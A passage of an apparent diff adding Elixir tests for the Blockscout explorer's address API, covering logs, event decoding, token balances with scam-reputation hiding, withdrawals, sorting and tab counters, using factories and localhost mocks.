"/api/v2/addresses/#{address.hash}/logs", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(response, response_2nd_page, logs) + end + + # https://github.com/blockscout/blockscout/issues/9926 + test "regression test for 9926", %{conn: conn} do + address = insert(:address, hash: "0x036cec1a199234fC02f72d29e596a09440825f1C") + + transaction = + :transaction + |> insert() + |> with_block() + + log = + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number, + address: address + ) + + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + chain_id = 1 + Application.put_env(:block_scout_web, :chain_id, chain_id) + + old_env_bens = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.BENS) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + old_env_metadata = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.Metadata) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Bypass.expect_once(bypass, "POST", "api/v1/#{chain_id}/addresses:batch_resolve_names", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{ + "names" => %{ + to_string(address) => "test.eth" + } + }) + ) + end) + + Bypass.expect_once(bypass, "GET", "api/v1/metadata", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{ + "addresses" => %{ + to_string(address) => %{ + "tags" => [ + %{ + "name" => "Proposer Fee Recipient", + "ordinal" => 0, + "slug" => "proposer-fee-recipient", + "tagType" => "generic", + "meta" => "{\"styles\":\"danger_high\"}" + } + ] + } + } + }) + ) + end) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(log, Enum.at(response["items"], 0)) + + log = Enum.at(response["items"], 0) + assert log["address"]["ens_domain_name"] == "test.eth" + + assert log["address"]["metadata"] == %{ + "tags" => [ + %{ + "slug" => "proposer-fee-recipient", + "name" => "Proposer Fee Recipient", + "ordinal" => 0, + "tagType" => "generic", + "meta" => %{"styles" => "danger_high"} + } + ] + } + + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, old_env_bens) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, old_env_metadata) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end + + test "logs can be filtered by topic", %{conn: conn} do + address = insert(:address) + + for x <- 0..20 do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + transaction: transaction, + index: x, + block: transaction.block, + block_number: transaction.block_number, + address: address + ) + end + + transaction = + :transaction + |> insert() + |> with_block() + + log = + insert(:log, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + address: address, + first_topic: TestHelper.topic(@first_topic_hex_string_1) + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs?topic=#{@first_topic_hex_string_1}") + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(log, Enum.at(response["items"], 0)) + end + + test "log could be decoded via verified implementation", %{conn: conn} do + address = insert(:contract_address) + + contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, + address_hash: contract_address.hash, + abi: [ + %{ + "name" => "OptionSettled", + "type" => "event", + "inputs" => [ + %{"name" => "accountId", "type" => "uint256", "indexed" => true, "internalType" => "uint256"}, + %{"name" => "option", "type" => "address", "indexed" => false, "internalType" => "address"}, + %{"name" => "subId", "type" => "uint256", "indexed" => false, "internalType" => "uint256"}, + %{"name" => "amount", "type" => "int256", "indexed" => false, "internalType" => "int256"}, + %{"name" => "value", "type" => "int256", "indexed" => false, "internalType" => "int256"} + ], + "anonymous" => false + } + ] + ) + + topic1_bytes = ExKeccak.hash_256("OptionSettled(uint256,address,uint256,int256,int256)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + topic2 = "0x0000000000000000000000000000000000000000000000000000000000005d19" + + log_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + transaction = :transaction |> insert() |> with_block() + + log = + insert(:log, + transaction: transaction, + first_topic: TestHelper.topic(topic1), + second_topic: TestHelper.topic(topic2), + third_topic: nil, + fourth_topic: nil, + data: log_data, + address: address + ) + + insert(:proxy_implementation, + proxy_address_hash: address.hash, + proxy_type: "eip1167", + address_hashes: [smart_contract.address_hash], + names: ["Test"] + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + log_from_api = Enum.at(response["items"], 0) + compare_item(log, log_from_api) + assert not is_nil(log_from_api["decoded"]) + + assert log_from_api["decoded"] == %{ + "method_call" => + "OptionSettled(uint256 indexed accountId, address option, uint256 subId, int256 amount, int256 value)", + "method_id" => "d20a68b2", + "parameters" => [ + %{ + "indexed" => true, + "name" => "accountId", + "type" => "uint256", + "value" => "23833" + }, + %{ + "indexed" => false, + "name" => "option", + "type" => "address", + "value" => Address.checksum("0xAeB81cbe6b19CeEB0dBE0d230CFFE35Bb40a13a7") + }, + %{ + "indexed" => false, + "name" => "subId", + "type" => "uint256", + "value" => "20615843020801704441600" + }, + %{ + "indexed" => false, + "name" => "amount", + "type" => "int256", + "value" => "-120000000000000000" + }, + %{ + "indexed" => false, + "name" => "value", + "type" => "int256", + "value" => "-522838470013113778446" + } + ] + } + end + + test "test corner case, when preload functions face absent smart contract", %{conn: conn} do + address = insert(:contract_address) + + contract_address = insert(:contract_address) + + topic1_bytes = ExKeccak.hash_256("OptionSettled(uint256,address,uint256,int256,int256)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + topic2 = "0x0000000000000000000000000000000000000000000000000000000000005d19" + + log_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + transaction = :transaction |> insert() |> with_block() + + log = + insert(:log, + transaction: transaction, + first_topic: TestHelper.topic(topic1), + second_topic: TestHelper.topic(topic2), + third_topic: nil, + fourth_topic: nil, + data: log_data, + address: address + ) + + insert(:proxy_implementation, + proxy_address_hash: address.hash, + proxy_type: "eip1167", + address_hashes: [contract_address.hash], + names: ["Test"] + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + log_from_api = Enum.at(response["items"], 0) + + compare_item(log, log_from_api) + end + + test "ignore logs without topics when trying to decode with sig provider", %{conn: conn} do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + old_env_sig_provider = Application.get_env(:explorer, Explorer.SmartContract.SigProviderInterface) + + Application.put_env(:explorer, Explorer.SmartContract.SigProviderInterface, + enabled: true, + service_url: "http://localhost:#{bypass.port}" + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.SigProviderInterface, old_env_sig_provider) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + address = insert(:contract_address) + + log_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + transaction = :transaction |> insert() |> with_block() + + insert(:log, + transaction: transaction, + first_topic: nil, + second_topic: nil, + third_topic: nil, + fourth_topic: nil, + data: log_data, + address: address + ) + + insert(:log, + transaction: transaction, + first_topic: TestHelper.topic("0x0000000000000000000000000000000000000000000000000000000000005d19"), + second_topic: nil, + third_topic: nil, + fourth_topic: nil, + data: log_data, + address: address + ) + + # cspell:disable + Bypass.expect_once(bypass, "POST", "/api/v1/abi/events%3Abatch-get", fn conn -> + # cspell:enable + {:ok, body, conn} = Plug.Conn.read_body(conn) + body = Jason.decode!(body) + assert Enum.count(body["requests"]) == 1 + + Conn.resp(conn, 200, Jason.encode!([])) + end) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 2 + + Bypass.down(bypass) + end + end + + describe "/addresses/{address_hash}/tokens" do + test "get token balances with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: Enum.random(1..100_000) + ) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/addresses/#{address.hash}/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get("/api/v2/addresses/#{address.hash}/tokens") |> json_response(200) + end + + test "get token balances with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + ctbs_erc_1155 = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: Enum.random(1..100_000) + ) + + insert(:scam_badge_to_address, address_hash: ctbs_erc_1155.token_contract_address_hash) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/addresses/#{address.hash}/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/addresses/#{address.hash}/tokens") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token balances with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: Enum.random(1..100_000) + ) + + request = conn |> get("/api/v2/addresses/#{address.hash}/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get token balances with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + ctbs_erc_1155 = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: Enum.random(1..100_000) + ) + + insert(:scam_badge_to_address, address_hash: ctbs_erc_1155.token_contract_address_hash) + + request = conn |> get("/api/v2/addresses/#{address.hash}/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/tokens") + + response = json_response(request, 200) + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/tokens") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get tokens", %{conn: conn} do + address = insert(:address) + + ctbs_erc_20 = + for _ <- 0..50 do + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-20", + token_id: nil + ) + |> Repo.preload([:token]) + end + |> Enum.sort_by(fn x -> Decimal.to_float(Decimal.mult(x.value, x.token.fiat_value)) end, :asc) + + ctbs_erc_721 = + for _ <- 0..50 do + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-721", + token_id: nil + ) + |> Repo.preload([:token]) + end + |> Enum.sort_by(fn x -> Decimal.to_integer(x.value) end, :asc) + + ctbs_erc_1155 = + for _ <- 0..50 do + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + end + |> Enum.sort_by(fn x -> Decimal.to_integer(x.value) end, :asc) + + filter = %{"type" => "ERC-20"} + request = get(conn, "/api/v2/addresses/#{address.hash}/tokens", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/tokens", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, ctbs_erc_20) + + filter = %{"type" => "ERC-721"} + request = get(conn, "/api/v2/addresses/#{address.hash}/tokens", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/tokens", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, ctbs_erc_721) + + filter = %{"type" => "ERC-1155"} + request = get(conn, "/api/v2/addresses/#{address.hash}/tokens", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/tokens", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, ctbs_erc_1155) + + # Test multiple token types (the fix for the original issue) + filter = %{"type" => "ERC-721,ERC-1155"} + request = get(conn, "/api/v2/addresses/#{address.hash}/tokens", filter) + assert response = json_response(request, 200) + + # Verify we get tokens from both types + response_token_types = + response["items"] + |> Enum.map(fn item -> item["token"]["type"] end) + |> Enum.uniq() + |> Enum.sort() + + assert response_token_types == ["ERC-1155", "ERC-721"] + end + end + + describe "checks Indexer.Fetcher.OnDemand.TokenBalance" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.BlockNumber.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.BlockNumber.child_id()) + old_env = Application.get_env(:indexer, Indexer.Fetcher.OnDemand.TokenBalance) + configuration = Application.get_env(:indexer, Indexer.Fetcher.OnDemand.TokenBalance.Supervisor) + Application.put_env(:indexer, Indexer.Fetcher.OnDemand.TokenBalance.Supervisor, disabled?: false) + Indexer.Fetcher.OnDemand.TokenBalance.Supervisor.Case.start_supervised!() + + Application.put_env( + :indexer, + Indexer.Fetcher.OnDemand.TokenBalance, + Keyword.put(old_env, :fallback_threshold_in_blocks, 0) + ) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.OnDemand.TokenBalance.Supervisor, configuration) + Application.put_env(:indexer, Indexer.Fetcher.OnDemand.TokenBalance, old_env) + end) + end + + test "Indexer.Fetcher.OnDemand.TokenBalance broadcasts only updated balances", %{conn: conn} do + address = insert(:address) + + ctbs_erc_20 = + for i <- 0..1 do + ctb = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-20", + token_id: nil + ) + + {to_string(ctb.token_contract_address_hash), + Decimal.to_integer(ctb.value) + if(rem(i, 2) == 0, do: 1, else: 0)} + end + |> Enum.into(%{}) + + ctbs_erc_721 = + for i <- 0..1 do + ctb = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-721", + token_id: nil + ) + + {to_string(ctb.token_contract_address_hash), + Decimal.to_integer(ctb.value) + if(rem(i, 2) == 0, do: 1, else: 0)} + end + |> Enum.into(%{}) + + other_balances = Map.merge(ctbs_erc_20, ctbs_erc_721) + + balances_erc_1155 = + for i <- 0..1 do + ctb = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: Enum.random(1..100_000) + ) + + {{to_string(ctb.token_contract_address_hash), to_string(ctb.token_id)}, + Decimal.to_integer(ctb.value) + if(rem(i, 2) == 0, do: 1, else: 0)} + end + |> Enum.into(%{}) + + block_number_hex = "0x" <> (Integer.to_string(insert(:block).number, 16) |> String.upcase()) + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x70a08231" <> request_1, + to: contract_address_1 + }, + ^block_number_hex + ] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x70a08231" <> request_2, + to: contract_address_2 + }, + ^block_number_hex + ] + }, + %{ + id: id_3, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x70a08231" <> request_3, + to: contract_address_3 + }, + ^block_number_hex + ] + }, + %{ + id: id_4, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x70a08231" <> request_4, + to: contract_address_4 + }, + ^block_number_hex + ] + }, + %{ + id: id_5, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x00fdd58e" <> request_5, + to: contract_address_5 + }, + ^block_number_hex + ] + }, + %{ + id: id_6, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x00fdd58e" <> request_6, + to: contract_address_6 + }, + ^block_number_hex + ] + } + ], + _options -> + types_list = [:address] + + assert request_1 |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) == [address.hash.bytes] + + assert request_2 |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) == [address.hash.bytes] + + assert request_3 |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) == [address.hash.bytes] + + assert request_4 |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) == [address.hash.bytes] + + result_1 = + other_balances[contract_address_1 |> String.downcase()] + |> List.wrap() + |> TypeEncoder.encode_raw([{:uint, 256}], :standard) + |> Base.encode16(case: :lower) + + result_2 = + other_balances[contract_address_2 |> String.downcase()] + |> List.wrap() + |> TypeEncoder.encode_raw([{:uint, 256}], :standard) + |> Base.encode16(case: :lower) + + result_3 = + other_balances[contract_address_3 |> String.downcase()] + |> List.wrap() + |> TypeEncoder.encode_raw([{:uint, 256}], :standard) + |> Base.encode16(case: :lower) + + result_4 = + other_balances[contract_address_4 |> String.downcase()] + |> List.wrap() + |> TypeEncoder.encode_raw([{:uint, 256}], :standard) + |> Base.encode16(case: :lower) + + types_list = [:address, {:uint, 256}] + + [address_5, token_id_5] = request_5 |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) + + assert address_5 == address.hash.bytes + + result_5 = + balances_erc_1155[{contract_address_5 |> String.downcase(), to_string(token_id_5)}] + |> List.wrap() + |> TypeEncoder.encode_raw([{:uint, 256}], :standard) + |> Base.encode16(case: :lower) + + [address_6, token_id_6] = request_6 |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) + + assert address_6 == address.hash.bytes + + result_6 = + balances_erc_1155[{contract_address_6 |> String.downcase(), to_string(token_id_6)}] + |> List.wrap() + |> TypeEncoder.encode_raw([{:uint, 256}], :standard) + |> Base.encode16(case: :lower) + + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: "0x" <> result_1 + }, + %{ + id: id_2, + jsonrpc: "2.0", + result: "0x" <> result_2 + }, + %{ + id: id_3, + jsonrpc: "2.0", + result: "0x" <> result_3 + }, + %{ + id: id_4, + jsonrpc: "2.0", + result: "0x" <> result_4 + }, + %{ + id: id_5, + jsonrpc: "2.0", + result: "0x" <> result_5 + }, + %{ + id: id_6, + jsonrpc: "2.0", + result: "0x" <> result_6 + } + ]} + end) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + request = get(conn, "/api/v2/addresses/#{address.hash}/tokens") + assert _response = json_response(request, 200) + overflow = false + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_balances: [ctb_erc_20], overflow: ^overflow}, + event: "updated_token_balances_erc_20", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_balances: [ctb_erc_721], overflow: ^overflow}, + event: "updated_token_balances_erc_721", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_balances: [ctb_erc_1155], overflow: ^overflow}, + event: "updated_token_balances_erc_1155", + topic: ^topic + }, + :timer.seconds(1) + + assert Decimal.to_integer(ctb_erc_20["value"]) == + other_balances[ctb_erc_20["token"]["address_hash"] |> String.downcase()] + + assert Decimal.to_integer(ctb_erc_721["value"]) == + other_balances[ctb_erc_721["token"]["address_hash"] |> String.downcase()] + + assert Decimal.to_integer(ctb_erc_1155["value"]) == + balances_erc_1155[ + {ctb_erc_1155["token"]["address_hash"] |> String.downcase(), to_string(ctb_erc_1155["token_id"])} + ] + end + end + + describe "/addresses/{address_hash}/withdrawals" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/withdrawals") + response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/withdrawals") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get withdrawals", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(51, :withdrawal)) + + request = get(conn, "/api/v2/addresses/#{address.hash}/withdrawals") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/withdrawals", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, address.withdrawals) + end + end + + describe "/addresses" do + test "get empty list", %{conn: conn} do + request = get(conn, "/api/v2/addresses") + + total_supply = to_string(Chain.total_supply()) + + pattern_response = %{"items" => [], "next_page_params" => nil, "total_supply" => total_supply} + response = json_response(request, 200) + + assert pattern_response["items"] == response["items"] + assert pattern_response["next_page_params"] == response["next_page_params"] + assert pattern_response["total_supply"] == response["total_supply"] + end + + test "check pagination", %{conn: conn} do + addresses = + for i <- 0..50 do + insert(:address, nonce: i, fetched_coin_balance: i + 1) + end + + request = get(conn, "/api/v2/addresses") + assert response = json_response(request, 200) + assert not is_nil(response["next_page_params"]) + request_2nd_page = get(conn, "/api/v2/addresses", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, addresses) + + assert Enum.at(response["items"], 0)["coin_balance"] == + to_string(Enum.at(addresses, 50).fetched_coin_balance.value) + end + + test "check nil", %{conn: conn} do + address = insert(:address, transactions_count: 2, fetched_coin_balance: 1) + + request = get(conn, "/api/v2/addresses") + response = json_response(request, 200) + assert %{"items" => [address_json], "next_page_params" => nil} = response + + compare_item(address, address_json) + end + + test "check smart contract preload", %{conn: conn} do + smart_contract = insert(:smart_contract, address_hash: insert(:contract_address, fetched_coin_balance: 1).hash) + + request = get(conn, "/api/v2/addresses") + response = json_response(request, 200) + assert %{"items" => [address]} = response + + assert String.downcase(address["hash"]) == to_string(smart_contract.address_hash) + assert address["is_contract"] == true + assert address["is_verified"] == true + end + + test "check sorting by balance asc", %{conn: conn} do + addresses = + for i <- 0..50 do + insert(:address, nonce: i, fetched_coin_balance: i + 1, transactions_count: 100 - i) + end + + sort_options = %{"sort" => "balance", "order" => "asc"} + request = get(conn, "/api/v2/addresses", sort_options) + assert response = json_response(request, 200) + assert not is_nil(response["next_page_params"]) + + request_2nd_page = get(conn, "/api/v2/addresses", Map.merge(response["next_page_params"], sort_options)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response( + response, + response_2nd_page, + Enum.sort_by(addresses, &Decimal.to_integer(&1.fetched_coin_balance.value), :desc) + ) + end + + test "check sorting by transactions count asc", %{conn: conn} do + addresses = + for i <- 0..50 do + insert(:address, nonce: i, transactions_count: i + 1, fetched_coin_balance: 100 - i) + end + + sort_options = %{"sort" => "transactions_count", "order" => "asc"} + request = get(conn, "/api/v2/addresses", sort_options) + assert response = json_response(request, 200) + assert not is_nil(response["next_page_params"]) + + request_2nd_page = get(conn, "/api/v2/addresses", Map.merge(response["next_page_params"], sort_options)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, Enum.sort_by(addresses, & &1.transactions_count, :desc)) + end + + test "check sorting by balance desc", %{conn: conn} do + addresses = + for i <- 0..50 do + insert(:address, nonce: i, fetched_coin_balance: i + 1, transactions_count: 100 - i) + end + + sort_options = %{"sort" => "balance", "order" => "desc"} + request = get(conn, "/api/v2/addresses", sort_options) + assert response = json_response(request, 200) + assert not is_nil(response["next_page_params"]) + + request_2nd_page = get(conn, "/api/v2/addresses", Map.merge(response["next_page_params"], sort_options)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response( + response, + response_2nd_page, + Enum.sort_by(addresses, &Decimal.to_integer(&1.fetched_coin_balance.value), :asc) + ) + end + + test "check sorting by transactions count desc", %{conn: conn} do + addresses = + for i <- 0..50 do + insert(:address, nonce: i, transactions_count: i + 1, fetched_coin_balance: 100 - i) + end + + sort_options = %{"sort" => "transactions_count", "order" => "desc"} + request = get(conn, "/api/v2/addresses", sort_options) + assert response = json_response(request, 200) + assert not is_nil(response["next_page_params"]) + + request_2nd_page = get(conn, "/api/v2/addresses", Map.merge(response["next_page_params"], sort_options)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, Enum.sort_by(addresses, & &1.transactions_count, :asc)) + end + end + + describe "/addresses/{address_hash}/tabs-counters" do + test "get 200 on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/tabs-counters") + response = json_response(request, 200) + + assert %{ + "validations_count" => 0, + "transactions_count" => 0, + "token_transfers_count" => 0, + "token_balances_count" => 0, + "logs_count" => 0, + "withdrawals_count" => 0, + "internal_transactions_count" => 0, + "celo_election_rewards_count" => 0 + } = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/tabs-counters") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get counters with 0s", %{conn: conn} do + address = insert(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/tabs-counters") + response = json_response(request, 200) + + assert %{ + "validations_count" => 0, + "transactions_count" => 0, + "token_transfers_count" => 0, + "token_balances_count" => 0, + "logs_count" => 0, + "withdrawals_count" => 0, + "internal_transactions_count" => 0 + } = response + end + + test "get counters and check that cache works", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(60, :withdrawal)) + + insert(:transaction, from_address: address) |> with_block() + insert(:transaction, to_address: address) |> with_block() + another_transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, + from_address: address, + transaction: another_transaction, + block: another_transaction.block, + block_number: another_transaction.block_number + ) + + insert(:token_transfer, + to_address: address, + transaction: another_transaction, + block: another_transaction.block, + block_number: another_transaction.block_number + ) + + insert(:block, miner: address) + + transaction = + :transaction + |> insert() + |> with_block() + + for x <- 1..2 do + insert(:internal_transaction, + transaction: transaction, + index: x, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: x, + to_address: address + ) + end + + for _ <- 0..60 do + insert(:address_current_token_balance_with_token_id, address: address) + end + + for x <- 0..60 do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + transaction: transaction, + index: x, + block: transaction.block, + block_number: transaction.block_number, + address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/tabs-counters") + response = json_response(request, 200) + + assert %{ + "validations_count" => 1, + "transactions_count" => 2, + "token_transfers_count" => 2, + "token_balances_count" => 51, + "logs_count" => 51, + "withdrawals_count" => 51, + "internal_transactions_count" => 2 + } = response + + for x <- 3..4 do + insert(:internal_transaction, + transaction: transaction, + index: x, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: x, + from_address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/tabs-counters") + response = json_response(request, 200) + + assert %{ + "validations_count" => 1, + "transactions_count" => 2, + "token_transfers_count" => 2, + "token_balances_count" => 51, + "logs_count" => 51, + "withdrawals_count" => 51, + "internal_transactions_count" => 2 + } = response + end + + test "check counters cache ttl", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(60, :withdrawal)) + + insert(:transaction, from_address: address) |> with_block() + insert(:transaction, to_address: address) |> with_block() + another_transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, + from_address: address, + transaction: another_transaction, + block: another_transaction.block, + block_number: another_transaction.block_number + ) + + insert(:token_transfer, + to_address: address, + transaction: another_transaction, + block: 